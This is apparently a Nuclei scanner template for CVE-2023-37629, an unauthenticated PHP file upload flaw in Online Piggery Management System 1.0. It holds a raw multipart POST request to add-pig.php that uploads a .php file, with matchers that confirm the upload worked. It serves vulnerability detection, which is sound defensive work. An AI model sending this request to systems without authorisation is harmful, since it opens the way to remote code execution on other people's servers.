id: CVE-2023-37629 info: name: Online Piggery Management System v1.0 - Unauthenticated File Upload author: Harsh severity: critical description: | Online Piggery Management System 1.0 is vulnerable to File Upload. An unauthenticated user can upload a php file by sending a POST request to add-pig.php. reference: - https://www.exploit-db.com/exploits/51598 - https://nvd.nist.gov/vuln/detail/CVE-2023-37629 - https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-37629 cwe-id: CWE-434 epss-score: 0.13691 epss-percentile: 0.95051 cpe: cpe:2.3:a:simple_online_piggery_management_system_project:simple_online_piggery_management_system:1.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: simple_online_piggery_management_system_project product: simple_online_piggery_management_system tags: cve,cve2023,fileupload,rce,opms,intrusive http: - raw: - | POST /pig/add-pig.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundary20kgW2hEKYaeF5iP -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="pigno" pig-fms-100 -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="weight" 65465 -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="arrived" {{date_time("%Y-%M-%D")}} -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="gender" female -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="status" active -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="breed" 2 -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="remark" 4fwefwe -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="pigphoto"; filename="{{rand_base(5)}}".php" Content-Type: application/x-php -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="submit" -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP-- matchers: - type: dsl dsl: - 'status_code == 302' - 'contains(content_type, "text/html")' - 'contains(body, "successfully created")' condition: and # digest: 490a004630440220335420657a5f6f3e2c8e36347e137c364c65cda6b6ec6a4e083c947a95810ad6022018f887e013a6ccf5bd538758690e8b3cc6b8fc61699804c874e8feeff0a88bbf:922c64590222798bb761d5b6d8e72950